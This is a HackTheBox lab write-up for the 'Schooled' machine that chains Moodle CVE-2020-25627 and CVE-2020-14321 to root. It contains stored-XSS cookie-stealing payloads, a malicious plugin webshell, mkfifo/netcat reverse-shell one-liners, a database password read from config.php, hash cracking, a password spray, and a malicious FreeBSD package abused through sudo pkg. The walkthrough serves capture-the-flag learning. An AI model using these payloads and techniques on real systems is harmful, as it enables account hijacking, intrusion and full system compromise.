HackTheBox - Schooled

HackTheBox - Schooled

Schooled features an instance of Moodle, a popular LMS used by many school institutions. The installed Moodle version is vulnerable to stored XSS in MoodleNet Profile (CVE-2020-25627) and role privilege escalation (CVE-2020-14321). Exploiting the XSS allows me to login as a teacher. The teacher role can be escalated to a manager role to get the site administration capability, thus allowing me to install a malicious plugin to gain interactive shell access to the system. Internal enumeration reveals database credentials which can be used to recover a password from the database. The password is reused by one of the users for SSH login. This user is allowed to install FreeBSD packages with sudo permissions, and it can be exploited to gain root access.

Skills Learned

  • Stealing cookie with XSS
  • Moodle exploitation
  • Sudo exploitation on pkg


  • Nmap
  • Burp Suite



A full scan with nmap discovers three open ports: SSH on 22, an Apache web server on port 80 and a service that nmap identifies it as mysqlx.

→ root@kali «schooled» «» 
$ nmap -p- --max-rate 1000 -sV --reason -oA nmap/10-tcp-allport-schooled
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-17 14:34 EDT
Nmap scan report for
Host is up, received reset ttl 63 (0.045s latency).
Not shown: 65532 closed ports
Reason: 65532 resets
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
33060/tcp open  mysqlx? syn-ack ttl 63
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 801.40 seconds


TCP 80 - schooled.htb

Port 80 serving a homepage of a school institution.


In the About section, it states that this school has an online learning system using Moodle.


The Teachers section displays the teachers of the school. This can be useful for generating username list.


On the Contact section, there is an input form. The form submit button points to /contact.php, but it returns with 404.

At the bottom of the site, it reveals an email address and a domain name: schooled.htb.


I will update my /etc/hosts with that domain name.

→ root@kali «schooled» «» 
$ echo ' schooled.htb' >> /etc/hosts/

Poking back the site with curl using its domain name reveals that it’s the same site.

→ root@kali «schooled» «» 
$  curl -s | wc -c
→ root@kali «schooled» «» 
$ curl -s http://schooled.htb/ | wc -c

Subdomain Fuzz

Enumerating subdomain using gobuster reveals that there is one called moodle.schooled.htb.

→ root@kali «schooled» «» 
$ gobuster vhost -u 'http://schooled.htb/' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:          http://schooled.htb/
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
2021/05/17 17:11:00 Starting gobuster in VHOST enumeration mode
Found: moodle.schooled.htb (Status:  200) [Size: 84]

I will update /etc/hosts again.

→ root@kali «schooled» «» 
$ echo ' schooled.htb moodle.schooled.htb'

And it’s different site.

→ root@kali «schooled» «» 
$ curl -s http://moodle.schooled.htb/ | wc -c && curl -s http://schooled.htb | wc -c

TCP 80 - moodle.schooled.htb

Heading to moodle.schooled.htb shows that it’s Moodle LMS, and there are four courses available here.


It allows guest login, but nothing much I can do with that, so I will just register an account.

Account Register

To register an account I have to use the domain student.schooled.htb.


I will change my email domain and login afterwards.

When I visit the domain student.schooled.htb, it returns the same site as schooled.htb.

Enroll course

Based on the login activity, Manuel Phillips is the only teacher that seems to be active. So I will enroll to his course (it allows self-enroll).


On the Mathematics course, there are two announcements .


The oldest announcement by Jamie Borham is just a welcome message and the other titled “Reminder for joining students” by Manuel Phillips is a reminder for the students to set their MoodleNet profiles.


The “MoodleNet profile” that Manuel Phillips was talking about can be found at Dashboard -> Preferences -> User account -> Edit profile .


Finding Vulnerabilities


At that time, I didn’t know how to determine the Moodle version, so I started to search the Moodle vulnerabilities on Exploit-DB using keyword Moodle and sorted the results by latest, here are some potential public exploits I found:

  • Moodle 3.10.3 - ‘url’ Persistent Cross Site Scripting => Need a teacher or an administrator or a manager role.
  • Moodle 3.10.3 - ‘label’ Persistent Cross Site Scripting => Worth to try.


Moodle Security

The other place to look for the Moodle vulnerabilities/security issues is on https://moodle.org/security/. In there, I find one stored XSS that seems interesting because it contains “moodlenetprofile” in its title.


Another one that looks promising is the privilege escalation from the teacher role into manager role.



Access as Manuel Phillips

Moodle CVE-2020-25627 - Stored XSS via MoodleNet profile

From the previous enumeration, I remember that Phillips mentioned ‘MoodleNet profile’, which actually the hint to the stored XSS (CVE-2020-25627) vulnerability affected the MoodleNet profile. XSS attack is typically used to steal a user cookie session. So in this case, I’m going to steal Manuel Phillips’s cookie.

First, I will setup a netcat listener on port 80, then I will edit my MoodleNet profile (Dashboard > Preferences > User account > Edit profile > MoodleNet profile) and change its value to the following payload:

<script> iamf = new Image(); iamf.src=''+document.cookie;</script>

Or this one:

<script>document.write('<img src="' + document.cookie + '" />')</script>


After a few minutes, there is a request coming to my listener:

→ root@kali «exploits» «» 
$ nc -nvlp 80
listening on [any] 80 ...
connect to [] from (UNKNOWN) [] 26076
GET /?iamf=MoodleSession=40mch0eki9ko6kpe03kq36cd97 HTTP/1.1
User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://moodle.schooled.htb/moodle/user/profile.php?id=33

I will update my MoodleSession to the one I obtained from XSS.


When I refresh the page, I’m now logged in as Manuel Phillips.


Now I can confirm that this Moodle version is 3.9 by visiting http://moodle.schooled.htb/moodle/user/view.php?id=24&course=5.


Shell as www-data

Moodle CVE-2020-14321 - Teacher role -> Manager role

This Moodle version is known to be vulnerable to the role privilege escalation (CVE-2020-14321) that allows escalation of privilege from teacher role (Manuel Phillips has teacher role) to manager role. With manager role, it is also possible to obtain code execution by installing a malicious plugin. I will be using this walkthrough video created by the researcher who found this vulnerability as my reference.

The first step is to join a teacher to my course.


I will choose Jamie Borham and enroll it to my course.


I will intercept the enroll request using Burp Suite and modify the userslist parameter to 24 (UserID of Phillips) then the roletoassign parameter to 1.


On the course participants, I can see the manager role has been assigned to Phillips.


With manager role, I have the ability to impersonate my participants (they have to be on my course first) using “Login as” function. For example:


When I logged in as Lianne Carter, there is another menu called “Site Administration”.


Malicious Plugin

Now to get RCE, I need to grant full permissions to manager role (from my understanding, Lianne Carter has site administrative capability and manager role).

I will head to Site Administration -> Users -> Define roles -> Manager -> Edit to grant full permission to manager role.


Then I will just click on Save changes button and intercept its request.


Except the sesskey parameter, I will change all the parameters with this PoC.


Now I can install a malicious plugin by accessing Site Administration -> Plugins -> Install plugins.


I will grab the malicious plugin from this repository: https://github.com/HoangKien1020/Moodle_RCE.


I will just continue on the installation process.


Once the plugin is installed, it can be accessed at http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=[command]:


Reverse Shell

Since it’s FreeBSD, I will use the mkfifo payload to get a foothold.

mkfifo /tmp/lol;nc 53 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol

On my listener:


I will upgrade my shell.

$ /usr/local/bin/python3 -c "import pty;pty.spawn('/bin/sh')"
$ export TERM=xterm
export TERM=xterm
$ which stty
which stty
$ ^Z
[1]  + 4974 suspended  nc -nvlp 53
→ root@kali «exploits» «» 
$ stty raw -echo; fg
[1]  + 4974 continued  nc -nvlp 53

$ ls -l
total 0
$ ls -la
total 0
$ pwd

Privilege Escalation

Shell as jamie


There are two users other than root who have a login shell: jamie and steve.

$ cat /etc/passwd | grep sh$
root:*:0:0:Charlie &:/root:/bin/csh
steve:*:1002:1002:User &:/home/steve:/bin/csh
$ ls -l /home/
total 17
drwx------  2 jamie  jamie  11 Feb 28 18:13 jamie
drwx------  5 steve  steve  14 Mar 17 14:05 steve

The Moodle configuration file is located under /usr/local/www/apache24/data/moodle, and it contains database credentials.

$ cat config.php 
<?php  // Moodle configuration file

global $CFG;
$CFG = new stdClass();

$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
  'dbpersist' => 0,
  'dbport' => 3306,
  'dbsocket' => '',
  'dbcollation' => 'utf8_unicode_ci',

$CFG->wwwroot   = 'http://moodle.schooled.htb/moodle';
$CFG->dataroot  = '/usr/local/www/apache24/moodledata';
$CFG->admin     = 'admin';

$CFG->directorypermissions = 0777;

require_once(__DIR__ . '/lib/setup.php');

// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!


MySQL binary cannot be resolved, but it’s available at /usr/local/bin.

$ /usr/local/bin/mysql moodle -u moodle -p'PlaybookMaster2020'
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 7517
Server version: 8.0.23 Source distribution

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

moodle@localhost [moodle]> 

Table mdl_users holds all the Moodle user credentials.

moodle@localhost [moodle]> select username,password from mdl_user;
| username          | password                                                     |
| guest             | $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2 |
| admin             | $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW |
| iamf              | $2y$10$GTtFW8Rpm8jnLJ1YmpTBy.rmhwTjdWfc9mR6/jC87WtvCK6CgVOXy |
33 rows in set (0.00 sec)

moodle@localhost [moodle]> 

There are a lot of hashes to recover, but I will focus on the admin hash first.

Hash crack

Hashcat recovers the admin password to !QAZ2wsx.

$ hashcat.exe -m 3200 '$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:' rockyou.txt


Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5G...l4qTiW
Time.Started.....: Thu May 20 05:04:20 2021 (1 min, 25 secs)
Time.Estimated...: Thu May 20 05:05:45 2021 (0 secs)
Guess.Base.......: File (../rockyou.txt)

Password Spray

With password spray attack, it reveals that the password is reused by user jamie for SSH login.

→ root@kali «schooled» «» 
$ crackmapexec ssh -u users.list -p passwords.list --continue-on-success
SSH    22     [*] SSH-2.0-OpenSSH_7.9 FreeBSD-20200214
SSH    22     [-] root:PlaybookMaster2020 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH    22     [-] root:!QAZ2wsx Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH    22     [-] jamie:PlaybookMaster2020 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH    22     [+] jamie:!QAZ2wsx 
SSH    22     [-] steve:PlaybookMaster2020 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH    22     [-] steve:!QAZ2wsx Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']


Now I can login as jamie via SSH.

→ root@kali «schooled» «» 
$ ssh jamie@
Password for jamie@Schooled:
Last login: Tue Mar 16 14:44:53 2021 from
FreeBSD 13.0-BETA3 (GENERIC) #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021


jamie@Schooled:~ $ id
uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)

Shell as root


User jamie is allowed to run sudo on pkg binary.

jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
    (ALL) NOPASSWD: /usr/sbin/pkg update
    (ALL) NOPASSWD: /usr/sbin/pkg install *

According to GTFObins, this can be abused to install malicious FreeBSD package, but fpm has to be installed first.

Installing a Malicious Package

Using reference from GTFOBins, I can create a malicious package that contains a reverse shell

→ root@kali «exploits» «»
$ TF=$(mktemp -d); echo 'mkfifo /tmp/lol;nc 53 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol' > $TF/x.sh;fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
DEPRECATION NOTICE: XZ::StreamWriter#close will automatically close the wrapped IO in the future. Use #finish to prevent that.
/var/lib/gems/2.5.0/gems/ruby-xz-0.2.3/lib/xz/stream_writer.rb:185:in `initialize'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:85:in `new'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:85:in `block in output'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:84:in `open'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/package/freebsd.rb:84:in `output'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/command.rb:487:in `execute'
        /var/lib/gems/2.5.0/gems/clamp-1.0.1/lib/clamp/command.rb:68:in `run'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/lib/fpm/command.rb:574:in `run'
        /var/lib/gems/2.5.0/gems/clamp-1.0.1/lib/clamp/command.rb:133:in `run'
        /var/lib/gems/2.5.0/gems/fpm-1.12.0/bin/fpm:7:in `<top (required)>'
        /usr/local/bin/fpm:23:in `load'
        /usr/local/bin/fpm:23:in `<main>'
Created package {:path=>"x-1.0.txz"}

I will transfer the package to Schooled.

→ root@kali «exploits» «»
$ $(bash -c 'cat x-1.0.txz > /dev/tcp/')

/dev/tcp/ is a feature from Bash. Since my shell is Zsh, so I had to invoke the transfer command within a subshell.

On Schooled:

jamie@Schooled:~ $ nc -lv 9000 > x-1.0.txz
Connection from 60744 received!

I will setup a Netcat listener on my Kali and start the installation of the package on Schooled.

jamie@Schooled:~ $ sudo pkg install -y --no-repo-update ./x-1.0.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):

New packages to be INSTALLED:
        x: 1.0

Number of packages to be installed: 1
[1/1] Installing x-1.0...

And I’m rooted.

→ root@kali «exploits» «»
$ nc -nvlp 53
listening on [any] 53 ...
connect to [] from (UNKNOWN) [] 23093
# whoami && id && hostname && cut -c-15 /root/root.txt
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)